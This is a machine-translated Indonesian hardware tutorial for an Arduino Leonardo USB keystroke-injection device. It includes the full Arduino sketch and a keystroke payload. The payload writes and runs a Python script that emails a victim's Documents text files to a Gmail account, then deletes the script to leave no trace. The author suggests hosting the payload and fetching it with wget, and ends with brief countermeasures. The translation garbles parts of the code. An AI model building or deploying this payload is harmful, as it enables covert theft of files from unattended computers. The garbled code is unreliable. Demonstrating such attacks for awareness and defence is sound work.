Daftar Isi:

Arduino Keyboard Exploit Demo (HID) dan Pencegahannya: 4 Langkah (dengan Gambar)
Arduino Keyboard Exploit Demo (HID) dan Pencegahannya: 4 Langkah (dengan Gambar)

Video: Arduino Keyboard Exploit Demo (HID) dan Pencegahannya: 4 Langkah (dengan Gambar)

Video: Arduino Keyboard Exploit Demo (HID) dan Pencegahannya: 4 Langkah (dengan Gambar)
Video: Arduino Leanardo Project || USB Keyboard || HID Device || #Shorts || #ShortVideo | #TrendingVideo 2024, Juli
Anonim
Image
Image
Membangun Perangkat
Membangun Perangkat

Dalam proyek ini kita akan menggunakan arduino leonardo untuk mensimulasikan kemungkinan serangan USB menggunakan HID (perangkat antarmuka manusia).

Saya telah membuat tutorial ini bukan untuk membantu peretas, tetapi untuk menunjukkan kepada Anda beberapa bahaya nyata dan bagaimana melindungi diri Anda dari bahaya tersebut. Perangkat ini bukan perangkat yang dapat digunakan pada platform apa pun untuk peretas, ini lebih merupakan bukti konsep secara detail.

Kita akan mempelajari hal-hal berikut:

- cara menggunakan arduino leonardo untuk meniru keyboard

- cara membaca data dari kartu SD

- cara membuat skrip python yang memindai file dan mengirim email kepada mereka

- cara melindungi diri Anda dari perangkat peretasan USB

Langkah 1: Bahan

Bagian:

1. Arduino leonardo

2. pembaca kartu micro USB

3. beberapa kartu SD GB

4. tombol tekan seperti ini (VCC, Ground dan sinyal)

5. kabel jumper wanita-pria dan wanita-wanita

6. kabel micro USB ke USB

Langkah 2: Membangun Perangkat

Membangun Perangkat
Membangun Perangkat

Sebelum instruksi bangunan mari kita tinjau prinsip kerja:

Arduino leonardo dapat berperilaku seperti perangkat antarmuka manusia (HID) dan karenanya dapat meniru mouse dan keyboard. Kami akan menggunakan fitur ini untuk membuka terminal (di UBUNTU linux) dan menulis skrip kecil yang akan mengakses folder /Documents di dalam folder home pengguna, salin file.txt di sana dan kirimkan melalui email ke seseorang. Jika Anda ingin mengetahui lebih detail, periksa langkah selanjutnya.

Karena ini adalah perangkat demo, semuanya sangat sederhana, kami tidak akan menyolder apa pun.

Instruksi bangunan

Sebelum kita mulai memeriksa file terlampir, saya telah melampirkan skema fritzing, dan semua file yang diperlukan

1. Merakit komponen:

* pasang kabel micro USB di arduino

* sambungkan key switch ke arduino (modul ground, vcc dan out ke D8)

* sambungkan card reader ke arduino (menggunakan header ICSP). Arduino leonardo tidak memiliki header ICSP yang terhubung ke pin digital sehingga Anda harus menghubungkan pembaca kartu ke header ICSP. Anda dapat menemukan beberapa gambar ICSP di sini: https://learn.sparkfun.com/tutorials/installing-an…. Hubungkan pin SS ke pin digital 10

2. dapatkan kode arduino, Anda dapat mengkloning repositori arduino saya di github: https://github.com/danionescu0/arduino dan buka proyek/keyboard_exploit atau dapatkan dari bawah:

#sertakan "Keyboard.h"

#include "SPI.h" #include "SD.h" String namafileOnCard = "hack.txt"; String sleepCommandStartingPoint = "Tidur::"; String commandStartingPoint = "Perintah::"; int delayBetweenCommands = 10; const int tombolPin = 8; const int chipPilih = 10; int sebelumnyaButtonState = TINGGI; void setup() { pinMode(buttonPin, INPUT); Serial.begin(9600); Keyboard.mulai(); if (!SD.begin(chipSelect)) { Serial.println("Kartu gagal, atau tidak ada!"); kembali; } } void loop() { int buttonState = digitalRead(buttonPin); if ((buttonState != sebelumnyaButtonState) && (buttonState == HIGH)) { sdFileToKeyboard(); Serial.println("Diunggah!"); penundaan (500); } sebelumnyaButtonState = buttonState; } void sdFileToKeyboard() { File dataFile = SD.open(namafileOnCard); if (!dataFile) { Serial.println("Nama file yang ditentukan tidak ada di kartu SD, periksa namafileOnCard !"); } Garis tali; while (dataFile.available()) { baris = dataFile.readStringUntil('\n'); Serial.println(baris); sendToKeyboard(baris); } dataFile.close(); } void sendToKeyboard(String line) { String workingLine = baris; if (workingLine.indexOf(sleepCommandStartingPoint) != -1) { sleepFor(baris); kembali; } if (workingLine.indexOf(commandStartingPoint) == -1) { Serial.print("Text:");Serial.println(line); Keyboard.println(baris); tekan enter(); kembali; } Serial.println("Perintah:"); int charPosition = commandStartingPoint.length(); int garisPanjang = garis.panjang(); garis kerja += ", "; while (workingLine != "") { workingLine = workingLine.substring(charPosition); Serial.print("WorkingLine:");Serial.println(workingLine); int specialCommandDelimiterPosition = workingLine.indexOf(", "); Perintah string = workingLine.substring(0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (perintah != "") { Serial.print("Perintah ditemukan:");Serial.println(perintah); Keyboard.tekan(getCommandCode(perintah)); delay(delayBetweenCommands); } } Keyboard.releaseAll(); delay(delayBetweenCommands); } batal tekan Enter() { Keyboard.tekan(KEY_RETURN); Keyboard.releaseAll(); } void sleepFor(String line) { int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print("Tidur untuk:");Serial.println(sleepAmount); penundaan (jumlah tidur); } char getCommandCode(String text) { char textCharacters[2]; text.toCharArray(textCharacters, 2); kode karakter = teksKarakter[0]; kode = (teks == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL: kode; kode = (teks == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT: kode; kode = (teks == "KEY_LEFT_ALT") ? KEY_LEFT_ALT: kode; kode = (teks == "KEY_UP_ARROW") ? KEY_UP_ARROW: kode; kode = (teks == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW: kode; kode = (teks == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW: kode; kode = (teks == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW: kode; kode = (teks == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI: kode; kode = (teks == "KEY_BACKSPACE") ? KEY_BACKSPACE: kode; kode = (teks == "KEY_TAB") ? KEY_TAB: kode; kode = (teks == "KEY_RETURN") ? KEY_RETURN: kode; kode = (teks == "KEY_ESC") ? KEY_ESC: kode; kode = (teks == "KEY_INSERT") ? KEY_INSERT: kode; kode = (teks == "KEY_DELETE") ? KEY_DELETE: kode; kode = (teks == "KEY_PAGE_UP") ? KEY_PAGE_UP: kode; kode = (teks == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN: kode; kode = (teks == "KEY_HOME") ? KEY_HOME: kode; kode = (teks == "KEY_END") ? KEY_END: kode; kode = (teks == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK: kode; kode = (teks == "KEY_F1") ? KEY_F1: kode; kode = (teks == "KEY_F2") ? KEY_F2: kode; kode = (teks == "KEY_F3") ? KEY_F3: kode; kode = (teks == "KEY_F4") ? KEY_F4: kode; kode = (teks == "KEY_F5") ? KEY_F5: kode; kode = (teks == "KEY_F6") ? KEY_F6: kode; kode = (teks == "KEY_F7") ? KEY_F7: kode; kode = (teks == "KEY_F8") ? KEY_F8: kode; kode = (teks == "KEY_F9") ? KEY_F9: kode; kode = (teks == "KEY_F10") ? KEY_F10: kode; kode = (teks == "KEY_F11") ? KEY_F1: kode; kode = (teks == "KEY_F12") ? KEY_F2: kode;

kode kembali;

}

3. Unggah kode ke arduino, pastikan untuk memilih baud rate 9600, port serial dan arduino leonardo

4. Format kartu sd menggunakan FAT16 atau FAT32

5. Jika Anda mengkloning repo github dari atas, salin file hack.txt pada kartu, jika tidak, file tersebut tercantum di bawah ini:

Command::KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep::500 vi hack.py Sleep::300 Command::KEY_INSERT import smtplib import glob, os dari os.path impor expanduser dari email. MIMEMultipart impor MIMEMultipart dari email. MIMEBase impor MIMEBase dari email. MIMEText import MIMEText dari email. Utils import COMMASPACE, formatdate from email import Encoders

smtp_user = 'pengirim_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Documents'

subject = body = 'File dari komputer yang diretas'

header = 'Kepada:{0}\nDari: {1}\nSubjek: {2}\n'.format(ke_alamat, smtp_user, subjek)

def sendMail(ke, subjek, teks, file=):

msg = MIMEMultipart() msg['From'] = smtp_user msg['To'] = COMMASPACE.join(to) msg['Date'] = formatdate(localtime=True) msg['Subject'] = subject msg.attach (MIMEText(text)) untuk file dalam file: part = MIMEBase('application', "octet-stream") part.set_payload(open(file, "rb").read()) Encoders.encode_base64(part) part. add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file)) msg.attach(part)

server = smtplib. SMTP('smtp.gmail.com:587')

server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()

sendMail([ke_alamat], subjek, isi, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))

Tidur::50 Perintah::KEY_ESC Tidur::100:x Tidur::500 nohup python hack.py & Tidur::700 rm -rf hack.py Tidur::400 Perintah::KEY_LEFT_ALT, KEY_F4

6. Edit baris berikut:

smtp_user = 'pengirim_email_addr'

smtp_pass = 'sender_password' to_address = 'receiver_address'

Dan ganti dengan alamat email Anda

7. Keluarkan kartu dan masukkan ke dalam pembaca kartu arduino

Langkah 3: Cara Kerjanya Secara Detail

Bagaimana serangan akan bekerja:

1. Saat tombol ditekan, leonardo akan membaca sd card menggunakan sd card reader. File khusus yang berisi kunci dan kombinasi tombol akan ada di kartu. Nama filenya adalah "hack.txt".

File dapat berisi teks mentah, dan akan diteruskan ke keyboard apa adanya.

Juga dapat berisi perintah khusus seperti "Tidur::" dan "Perintah::".

Garis seperti:

Tidur::200 berarti tidur 200 ms

Garis seperti:

Command::KEY_LEFT_CTRL, KEY_LEFT_ALT, t berarti ctrl kiri ditekan, alt kiri ditekan, t ditekan dan semua dilepaskan

Anda dapat memeriksa semua kunci khusus di sini:

2. Leonardo akan membaca baris demi baris, dan menafsirkan perintah dan meniru tombol pada keyboard. File "hack.txt" berisi kombinasi tombol yang melakukan hal berikut (untuk UBUNTU linux):

A. membuka terminal (CTRL + ALT + T)

B. membuka file python untuk pembuatan menggunakan vi (menulis "vi hack.py"

C. menulis skrip python di dalamnya yang mengumpulkan semua file teks di dalam folder rumah dokumen dan mengirimkannya ke alamat gmail yang ditentukan

D. menjalankan file di latar belakang ("nohup python hack.py &")

e. menghapus file (rm -rf hack.py)

F. menutup terminal (ALT + F4)

Semua ini berjalan dalam beberapa detik dan tidak meninggalkan jejak.

Peningkatan dan pemecahan masalah

* Anda mungkin memperhatikan bahwa setelah saya membuka terminal saya sedang menulis file python. cara yang lebih baik untuk itu adalah dengan meng-host-nya di suatu tempat dan mengunduhnya menggunakan perintah "wget some_url", lalu ganti namanya menjadi hack.py

* Kami juga dapat mengunduh atau menjalankan eksploitasi siap pakai untuk sistem operasi yang ditargetkan

* wifi dapat ditambahkan ke modul, dan peretasan dapat diunggah melalui WIFI

* Anda dapat menggunakan arduino micro (yang jauh lebih kecil) dan menyematkan kode exploit di atasnya (untuk membuatnya lebih kecil)

Keterbatasan

1. Karena perangkat simulasi (keyboard dan mouse) tidak memiliki umpan balik, kami tidak tahu apa yang akan terjadi setelah mengeluarkan perintah yang berarti kami perlu menggunakan penundaan. Misalnya saya mengeluarkan perintah untuk membuka terminal, tetapi saya tidak tahu kapan itu akan benar-benar terbuka, jadi saya perlu menentukan penundaan sewenang-wenang untuk memastikan karakter yang diketik setelahnya tidak akan hilang.

2. Kami mungkin mengalami masalah izin seperti tidak memiliki akses ke port USB atau izin untuk menginstal sesuatu

3. Kecepatan mengetiknya tidak terlalu bagus di leonardo

4. Akan bekerja hanya pada sistem operasi yang ditargetkan (dalam kasus kami UBUNTU linux)

Pada langkah selanjutnya akan mencoba mencari cara untuk mengeksploitasi keterbatasan ini untuk mencegah komputer kita diretas

Langkah 4: Penanggulangan

1. Menonaktifkan port USB

- untuk windows Anda dapat memeriksa tutorial ini:

2. Perangkat USB daftar putih:

- untuk windows:

2. Kunci komputer Anda saat Anda tidak pergi

3. Jangan login sebagai root (memerlukan password untuk menginstal apapun)

4. Tetap perbarui diri Anda (pembaruan otomatis aktif)

Direkomendasikan: